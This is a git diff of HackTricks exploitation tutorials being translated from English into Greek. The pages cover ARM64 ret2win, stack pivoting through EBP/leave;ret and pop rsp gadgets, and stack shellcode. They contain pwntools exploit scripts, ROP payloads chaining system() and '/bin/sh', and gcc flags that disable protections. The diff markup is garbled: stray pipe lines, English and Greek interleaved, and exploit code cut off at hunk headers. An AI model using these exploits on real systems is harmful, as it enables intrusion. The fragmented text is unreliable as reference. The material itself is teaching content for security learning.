## Εύρεση της απόκλισης
|
||||
|
||||
## Finding the offset
|
||||
### Επιλογή προτύπου
|
||||
|
||||
### Pattern option
|
||||
|
||||
This example was created using [**GEF**](https://github.com/bata24/gef):
|
||||
|
||||
Stat gdb with gef, create pattern and use it:
|
||||
Αυτό το παράδειγμα δημιουργήθηκε χρησιμοποιώντας [**GEF**](https://github.com/bata24/gef):
|
||||
|
||||
Εκκινήστε το gdb με το gef, δημιουργήστε ένα πρότυπο και χρησιμοποιήστε το:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
pattern create 200
|
||||
run
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset:
|
||||
|
||||
Η arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που είναι στο μητρώο x30 (το οποίο έχει παραβιαστεί), μπορούμε να το χρησιμοποιήσουμε για να βρούμε την απόσταση του μοτίβου:
|
||||
```bash
|
||||
pattern search $x30
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**The offset is 72 (9x48).**
|
||||
**Η απόσταση είναι 72 (9x48).**
|
||||
|
||||
### Stack offset option
|
||||
|
||||
Start by getting the stack address where the pc register is stored:
|
||||
### Επιλογή απόστασης στοίβας
|
||||
|
||||
Ξεκινήστε αποκτώντας τη διεύθυνση της στοίβας όπου αποθηκεύεται το pc register:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
b *vulnerable_function + 0xc
|
||||
run
|
||||
info frame
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337:
|
||||
|
||||
Τώρα ορίστε ένα breakpoint μετά το `read()` και συνεχίστε μέχρι να εκτελεστεί το `read()` και ορίστε ένα μοτίβο όπως 13371337:
|
||||
```
|
||||
b *vulnerable_function+28
|
||||
c
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Find where this pattern is stored in memory:
|
||||
Βρείτε πού αποθηκεύεται αυτό το μοτίβο στη μνήμη:
|
||||
|
||||
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
|
||||
Τότε: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
|
||||
|
||||
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
|
||||
|
||||
## No PIE
|
||||
## Χωρίς PIE
|
||||
|
||||
### Regular
|
||||
|
||||
Get the address of the **`win`** function:
|
||||
### Κανονικό
|
||||
|
||||
Αποκτήστε τη διεύθυνση της **`win`** συνάρτησης:
|
||||
```bash
|
||||
objdump -d ret2win | grep win
|
||||
ret2win: file format elf64-littleaarch64
|
||||
00000000004006c4 <win>:
|
||||
```
|
||||
|
||||
Exploit:
|
||||
|
||||
Εκμετάλλευση:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -124,13 +109,11 @@ p.send(payload)
|
||||
print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
### Off-by-1
|
||||
|
||||
Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`.
|
||||
|
||||
Στην πραγματικότητα, αυτό θα είναι περισσότερο σαν off-by-2 στην αποθηκευμένη διεύθυνση PC στο stack. Αντί να αντικαταστήσουμε όλες τις διευθύνσεις επιστροφής, θα αντικαταστήσουμε **μόνο τα τελευταία 2 bytes** με `0x06c4`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -150,22 +133,20 @@ p.send(payload)
|
||||
print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability.
|
||||
Μπορείτε να βρείτε ένα άλλο παράδειγμα off-by-one σε ARM64 στο [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), το οποίο είναι μια πραγματική off-by-**one** σε μια φανταστική ευπάθεια.
|
||||
|
||||
## With PIE
|
||||
## Με PIE
|
||||
|
||||
> [!TIP]
|
||||
> Compile the binary **without the `-no-pie` argument**
|
||||
> Συγκεντρώστε το δυαδικό **χωρίς το επιχείρημα `-no-pie`**
|
||||
|
||||
### Off-by-2
|
||||
|
||||
Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset:
|
||||
Χωρίς μια διαρροή δεν γνωρίζουμε τη ακριβή διεύθυνση της νικηφόρας συνάρτησης, αλλά μπορούμε να γνωρίζουμε την απόσταση της συνάρτησης από το δυαδικό και γνωρίζοντας ότι η διεύθυνση επιστροφής που αντικαθιστούμε δείχνει ήδη σε μια κοντινή διεύθυνση, είναι δυνατόν να διαρρεύσουμε την απόσταση στη συνάρτηση win (**0x7d4**) σε αυτή την περίπτωση και απλά να χρησιμοποιήσουμε αυτή την απόσταση:
|
||||
|
||||
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -185,5 +166,4 @@ p.send(payload)
|
||||
print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,62 +4,59 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence.
|
||||
|
||||
As a reminder, **`leave`** basically means:
|
||||
Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP)** για να αλυσιοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του καταχωρητή EBP και της ακολουθίας εντολών **`leave; ret`**.
|
||||
|
||||
Ως υπενθύμιση, **`leave`** σημαίνει βασικά:
|
||||
```
|
||||
mov ebp, esp
|
||||
pop ebp
|
||||
ret
|
||||
```
|
||||
|
||||
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
|
||||
Και καθώς το **EBP είναι στη στοίβα** πριν από το EIP, είναι δυνατόν να το ελέγξετε ελέγχοντας τη στοίβα.
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
|
||||
Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το μητρώο EBP αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το μητρώο EIP**. Εκμεταλλεύεται τη συμπεριφορά των συναρτήσεων όταν ολοκληρώνουν την εκτέλεση.
|
||||
|
||||
If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
|
||||
Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
|
||||
Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στη στοίβα που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode σας (συν 4 bytes για να ληφθεί υπόψη η λειτουργία `pop`), μπορείτε έμμεσα να ελέγξετε το EIP. Καθώς το `fvuln` επιστρέφει, το ESP ορίζεται σε αυτήν την κατασκευασμένη τοποθεσία, και η επόμενη λειτουργία `pop` μειώνει το ESP κατά 4, **κάνοντάς το να δείχνει σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί.**\
|
||||
Σημειώστε ότι **πρέπει να γνωρίζετε 2 διευθύνσεις**: Αυτήν όπου θα πάει το ESP, όπου θα χρειαστεί να γράψετε τη διεύθυνση που δείχνει το ESP.
|
||||
|
||||
#### Exploit Construction
|
||||
#### Κατασκευή Εκμετάλλευσης
|
||||
|
||||
First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
|
||||
Πρώτα πρέπει να γνωρίζετε μια **διεύθυνση όπου μπορείτε να γράψετε αυθαίρετα δεδομένα / διευθύνσεις**. Το ESP θα δείχνει εδώ και **θα εκτελέσει το πρώτο `ret`**.
|
||||
|
||||
Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
|
||||
Στη συνέχεια, πρέπει να γνωρίζετε τη διεύθυνση που χρησιμοποιείται από το `ret` που θα **εκτελέσει αυθαίρετο κώδικα**. Μπορείτε να χρησιμοποιήσετε:
|
||||
|
||||
- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address.
|
||||
- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
|
||||
- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute.
|
||||
- Some [**ROP**](../rop-return-oriented-programing/) chain
|
||||
- Μια έγκυρη διεύθυνση [**ONE_GADGET**](https://github.com/david942j/one_gadget).
|
||||
- Τη διεύθυνση του **`system()`** ακολουθούμενη από **4 άχρηστα bytes** και τη διεύθυνση του `"/bin/sh"` (x86 bits).
|
||||
- Τη διεύθυνση ενός **gadget `jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ακολουθούμενη από το **shellcode** που θα εκτελεστεί.
|
||||
- Μερική [**ROP**](../rop-return-oriented-programing/) αλυσίδα.
|
||||
|
||||
Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
|
||||
Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή της μνήμης, πρέπει να υπάρχουν **`4` bytes** λόγω του μέρους **`pop`** της εντολής `leave`. Θα ήταν δυνατό να εκμεταλλευτείτε αυτά τα 4B για να ορίσετε ένα **δεύτερο ψεύτικο EBP** και να συνεχίσετε να ελέγχετε την εκτέλεση.
|
||||
|
||||
#### Off-By-One Exploit
|
||||
#### Εκμετάλλευση Off-By-One
|
||||
|
||||
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\
|
||||
Usually it's modified the byte 0x00t o jump as far as possible.
|
||||
Υπάρχει μια συγκεκριμένη παραλλαγή αυτής της τεχνικής γνωστή ως "Off-By-One Exploit". Χρησιμοποιείται όταν μπορείτε **μόνο να τροποποιήσετε το λιγότερο σημαντικό byte του EBP**. Σε αυτήν την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα γίνει η **`ret`** πρέπει να μοιράζεται τα πρώτα τρία bytes με το EBP, επιτρέποντας παρόμοια χειρισμό με πιο περιορισμένες συνθήκες.\
|
||||
Συνήθως τροποποιείται το byte 0x00 για να πηδήξει όσο το δυνατόν πιο μακριά.
|
||||
|
||||
Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.
|
||||
Επίσης, είναι κοινό να χρησιμοποιείται ένα RET sled στη στοίβα και να τοποθετείται η πραγματική αλυσίδα ROP στο τέλος για να είναι πιο πιθανό ότι το νέο ESP δείχνει μέσα στο RET SLED και η τελική αλυσίδα ROP εκτελείται.
|
||||
|
||||
### **EBP Chaining**
|
||||
|
||||
Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
|
||||
Επομένως, τοποθετώντας μια ελεγχόμενη διεύθυνση στην είσοδο `EBP` της στοίβας και μια διεύθυνση για `leave; ret` στο `EIP`, είναι δυνατόν να **μετακινήσετε το `ESP` στη διεύθυνση ελεγχόμενου `EBP` από τη στοίβα**.
|
||||
|
||||
Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
|
||||
Τώρα, το **`ESP`** ελέγχεται δείχνοντας σε μια επιθυμητή διεύθυνση και η επόμενη εντολή που θα εκτελεστεί είναι ένα `RET`. Για να το εκμεταλλευτείτε αυτό, είναι δυνατόν να τοποθετήσετε στην ελεγχόμενη θέση ESP αυτό:
|
||||
|
||||
- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
|
||||
- **`system()`** -> Called by `ret`
|
||||
- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
|
||||
- **`&("/bin/sh")`**-> Param fro `system`
|
||||
- **`&(next fake EBP)`** -> Φορτώστε το νέο EBP λόγω του `pop ebp` από την εντολή `leave`
|
||||
- **`system()`** -> Καλείται από το `ret`
|
||||
- **`&(leave;ret)`** -> Καλείται μετά την ολοκλήρωση του συστήματος, θα μετακινήσει το ESP στο ψεύτικο EBP και θα ξεκινήσει ξανά
|
||||
- **`&("/bin/sh")`**-> Παράμετρος για το `system`
|
||||
|
||||
Basically this way it's possible to chain several fake EBPs to control the flow of the program.
|
||||
Βασικά, με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος.
|
||||
|
||||
This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
|
||||
|
||||
Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
|
||||
Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/), αλλά πιο περίπλοκο χωρίς προφανές όφελος, αλλά θα μπορούσε να είναι ενδιαφέρον σε ορισμένες περιπτώσεις.
|
||||
|
||||
Επιπλέον, εδώ έχετε ένα [**παράδειγμα πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτήν την τεχνική με μια **στοίβα διαρροής** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -75,34 +72,32 @@ POP_RDI = 0x40122b
|
||||
POP_RSI_R15 = 0x401229
|
||||
|
||||
payload = flat(
|
||||
0x0, # rbp (could be the address of anoter fake RBP)
|
||||
POP_RDI,
|
||||
0xdeadbeef,
|
||||
POP_RSI_R15,
|
||||
0xdeadc0de,
|
||||
0x0,
|
||||
elf.sym['winner']
|
||||
0x0, # rbp (could be the address of anoter fake RBP)
|
||||
POP_RDI,
|
||||
0xdeadbeef,
|
||||
POP_RSI_R15,
|
||||
0xdeadc0de,
|
||||
0x0,
|
||||
elf.sym['winner']
|
||||
)
|
||||
|
||||
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
||||
|
||||
payload += flat(
|
||||
buffer, # Load leak address in RBP
|
||||
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
||||
buffer, # Load leak address in RBP
|
||||
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
||||
)
|
||||
|
||||
pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
## EBP ίσως να μην χρησιμοποιείται
|
||||
|
||||
## EBP might not be used
|
||||
|
||||
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
|
||||
This is because the **prologue and epilogue changes** if the binary is optimized.
|
||||
|
||||
- **Not optimized:**
|
||||
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), αν ένα δυαδικό αρχείο έχει μεταγλωττιστεί με κάποιες βελτιστοποιήσεις, το **EBP ποτέ δεν ελέγχει το ESP**, επομένως, οποιαδήποτε εκμετάλλευση που λειτουργεί ελέγχοντας το EBP θα αποτύχει βασικά γιατί δεν έχει καμία πραγματική επίδραση.\
|
||||
Αυτό συμβαίνει επειδή οι **προλόγοι και οι επιλόγοι αλλάζουν** αν το δυαδικό αρχείο είναι βελτιστοποιημένο.
|
||||
|
||||
- **Μη βελτιστοποιημένο:**
|
||||
```bash
|
||||
push %ebp # save ebp
|
||||
mov %esp,%ebp # set new ebp
|
||||
@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size
|
||||
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||||
ret # return
|
||||
```
|
||||
|
||||
- **Optimized:**
|
||||
|
||||
- **Βελτιστοποιημένο:**
|
||||
```bash
|
||||
push %ebx # save ebx
|
||||
sub $0x100,%esp # increase stack size
|
||||
@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size
|
||||
pop %ebx # restore ebx
|
||||
ret # return
|
||||
```
|
||||
|
||||
## Other ways to control RSP
|
||||
## Άλλοι τρόποι ελέγχου του RSP
|
||||
|
||||
### **`pop rsp`** gadget
|
||||
|
||||
[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
|
||||
|
||||
[**Σε αυτή τη σελίδα**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) μπορείτε να βρείτε ένα παράδειγμα που χρησιμοποιεί αυτή την τεχνική. Για αυτή την πρόκληση ήταν απαραίτητο να καλέσετε μια συνάρτηση με 2 συγκεκριμένα επιχειρήματα, και υπήρχε ένα **`pop rsp` gadget** και υπάρχει μια **leak από τη στοίβα**:
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15
|
||||
|
||||
# The payload starts
|
||||
payload = flat(
|
||||
0, # r13
|
||||
0, # r14
|
||||
0, # r15
|
||||
POP_RDI,
|
||||
0xdeadbeef,
|
||||
POP_RSI_R15,
|
||||
0xdeadc0de,
|
||||
0x0, # r15
|
||||
elf.sym['winner']
|
||||
0, # r13
|
||||
0, # r14
|
||||
0, # r15
|
||||
POP_RDI,
|
||||
0xdeadbeef,
|
||||
POP_RSI_R15,
|
||||
0xdeadc0de,
|
||||
0x0, # r15
|
||||
elf.sym['winner']
|
||||
)
|
||||
|
||||
payload = payload.ljust(104, b'A') # pad to 104
|
||||
@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104
|
||||
# Start popping RSP, this moves the stack to the leaked address and
|
||||
# continues the ROP chain in the prepared payload
|
||||
payload += flat(
|
||||
POP_CHAIN,
|
||||
buffer # rsp
|
||||
POP_CHAIN,
|
||||
buffer # rsp
|
||||
)
|
||||
|
||||
pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
|
||||
### xchg \<reg>, rsp gadget
|
||||
|
||||
```
|
||||
pop <reg> <=== return pointer
|
||||
<reg value>
|
||||
xchg <reg>, rsp
|
||||
```
|
||||
|
||||
### jmp esp
|
||||
|
||||
Check the ret2esp technique here:
|
||||
Δείτε την τεχνική ret2esp εδώ:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
|
||||
## References & Other Examples
|
||||
## Αναφορές & Άλλα Παραδείγματα
|
||||
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
|
||||
- 64 bits, εκμετάλλευση off by one με μια αλυσίδα rop που ξεκινά με ένα ret sled
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
|
||||
- 64 bit, χωρίς relro, canary, nx και pie. Το πρόγραμμα παρέχει μια διαρροή για stack ή pie και μια WWW ενός qword. Πρώτα πάρτε τη διαρροή του stack και χρησιμοποιήστε την WWW για να επιστρέψετε και να πάρετε τη διαρροή του pie. Στη συνέχεια, χρησιμοποιήστε την WWW για να δημιουργήσετε έναν αιώνιο βρόχο εκμεταλλευόμενοι τις καταχωρήσεις `.fini_array` + καλώντας `__libc_csu_fini` ([περισσότερες πληροφορίες εδώ](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Εκμεταλλευόμενοι αυτήν την "αιώνια" εγγραφή, γράφεται μια αλυσίδα ROP στο .bss και καταλήγει να την καλεί κάνοντας pivoting με RBP.
|
||||
|
||||
## ARM64
|
||||
|
||||
In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**.
|
||||
Στο ARM64, οι **προλόγοι και οι επιλόγοι** των συναρτήσεων **δεν αποθηκεύουν και δεν ανακτούν το μητρώο SP** στο stack. Επιπλέον, η εντολή **`RET`** δεν επιστρέφει στη διεύθυνση που υποδεικνύεται από το SP, αλλά **στη διεύθυνση μέσα στο `x30`**.
|
||||
|
||||
Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register.
|
||||
Επομένως, από προεπιλογή, απλά εκμεταλλευόμενοι τον επίλογο **δεν θα μπορείτε να ελέγξετε το μητρώο SP** αντικαθιστώντας κάποια δεδομένα μέσα στο stack. Και ακόμη και αν καταφέρετε να ελέγξετε το SP, θα χρειαστείτε έναν τρόπο να **ελέγξετε το μητρώο `x30`**.
|
||||
|
||||
- prologue
|
||||
- πρόλογος
|
||||
|
||||
```armasm
|
||||
sub sp, sp, 16
|
||||
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
||||
mov x29, sp // FP points to frame record
|
||||
```
|
||||
```armasm
|
||||
sub sp, sp, 16
|
||||
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
||||
mov x29, sp // FP points to frame record
|
||||
```
|
||||
|
||||
- epilogue
|
||||
- επίλογος
|
||||
|
||||
```armasm
|
||||
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
|
||||
add sp, sp, 16
|
||||
ret
|
||||
```
|
||||
```armasm
|
||||
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
|
||||
add sp, sp, 16
|
||||
ret
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it.
|
||||
> Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με το stack pivoting στο ARM64 θα ήταν να μπορείτε να **ελέγξετε το `SP`** (ελέγχοντας κάποιο μητρώο του οποίου η τιμή μεταφέρεται στο `SP` ή επειδή για κάποιο λόγο το `SP` παίρνει τη διεύθυνσή του από το stack και έχουμε μια υπερχείλιση) και στη συνέχεια **να εκμεταλλευτείτε τον επίλογο** για να φορτώσετε το **μητρώο `x30`** από ένα **ελεγχόμενο `SP`** και **`RET`** σε αυτό.
|
||||
|
||||
Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
|
||||
Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδύναμη του **Ret2esp στο ARM64**:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
|
||||
@ -4,47 +4,42 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**.
|
||||
**Stack shellcode** είναι μια τεχνική που χρησιμοποιείται στην **binary exploitation** όπου ένας επιτιθέμενος γράφει shellcode στη στοίβα ενός ευάλωτου προγράμματος και στη συνέχεια τροποποιεί τον **Instruction Pointer (IP)** ή τον **Extended Instruction Pointer (EIP)** για να δείξει στη θέση αυτού του shellcode, προκαλώντας την εκτέλεσή του. Αυτή είναι μια κλασική μέθοδος που χρησιμοποιείται για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή να εκτελέσει αυθαίρετες εντολές σε ένα στοχευμένο σύστημα. Ακολουθεί μια ανάλυση της διαδικασίας, συμπεριλαμβανομένου ενός απλού παραδείγματος C και πώς θα μπορούσατε να γράψετε μια αντίστοιχη εκμετάλλευση χρησιμοποιώντας Python με **pwntools**.
|
||||
|
||||
### C Example: A Vulnerable Program
|
||||
|
||||
Let's start with a simple example of a vulnerable C program:
|
||||
|
||||
Ας ξεκινήσουμε με ένα απλό παράδειγμα ενός ευάλωτου προγράμματος C:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
gets(buffer); // Unsafe function that does not check for buffer overflow
|
||||
char buffer[64];
|
||||
gets(buffer); // Unsafe function that does not check for buffer overflow
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
printf("Returned safely\n");
|
||||
return 0;
|
||||
vulnerable_function();
|
||||
printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Αυτό το πρόγραμμα είναι ευάλωτο σε overflow buffer λόγω της χρήσης της συνάρτησης `gets()`.
|
||||
|
||||
This program is vulnerable to a buffer overflow due to the use of the `gets()` function.
|
||||
|
||||
### Compilation
|
||||
|
||||
To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:
|
||||
### Συγκέντρωση
|
||||
|
||||
Για να συγκεντρώσετε αυτό το πρόγραμμα απενεργοποιώντας διάφορες προστασίες (για να προσομοιώσετε ένα ευάλωτο περιβάλλον), μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
|
||||
- `-fno-stack-protector`: Disables stack protection.
|
||||
- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack.
|
||||
- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located.
|
||||
- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.
|
||||
- `-fno-stack-protector`: Απενεργοποιεί την προστασία της στοίβας.
|
||||
- `-z execstack`: Κάνει τη στοίβα εκτελέσιμη, κάτι που είναι απαραίτητο για την εκτέλεση του shellcode που είναι αποθηκευμένο στη στοίβα.
|
||||
- `-no-pie`: Απενεργοποιεί το Position Independent Executable, διευκολύνοντας την πρόβλεψη της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode μας.
|
||||
- `-m32`: Συγκεντρώνει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιούμενο για απλότητα στην ανάπτυξη εκμεταλλεύσεων.
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
